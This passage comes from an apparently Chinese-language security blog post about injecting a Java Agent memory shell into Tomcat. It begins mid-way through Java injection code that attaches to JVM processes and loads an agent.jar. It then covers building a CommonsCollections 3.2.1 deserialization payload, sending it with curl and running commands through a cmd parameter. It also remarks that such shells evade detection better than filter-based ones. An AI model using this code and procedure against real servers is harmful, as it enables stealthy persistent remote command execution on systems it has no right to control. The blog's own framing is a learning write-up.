[]{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class []{java.lang.String.class}); loadAgent.invoke(vm,new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } } catch (Exception e){ e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Test () { } }
使用最近新学习的JavaChains工具进行生成payload,这里使用CC3.2.1动态加载字节码的方式将Agent内存马注入
将我们编译生成的Test.class文件上传上去
然后生成并下载Payload
然后使用curl语句将序列化数据打过去
1 curl -v "http://localhost:8080/cc" --data-binary "@./test.ser"
我们可以看到输入了 【注入成功】,说明我们的Agent内存马已经成功注入
传入cmd参数后,可以看到成功的执行了命令
但是由于doFilter不只会执行一次,而是执行多次
小结
agent内存马的实现形式也是在打Tomcat内存马。他的实现是通过遍历所有的JVM进程,然后向 进程中注入对应的Agent类。
比较
agent内存马与filter内存马相比,会多一步将我们的agent.jar上传到目标上,利用代码将agent.jar进行注入,注入后就可以删除agent.jar
agent内存马相比于filter这些内存马更难查杀
问题
跟着师傅门的文章看,有些情况下注入agent内存马后网站会崩掉,可能的原因是虚拟内存不足
另一个方面的话就是在关键类寻找不对等的情况下,也会将网站打崩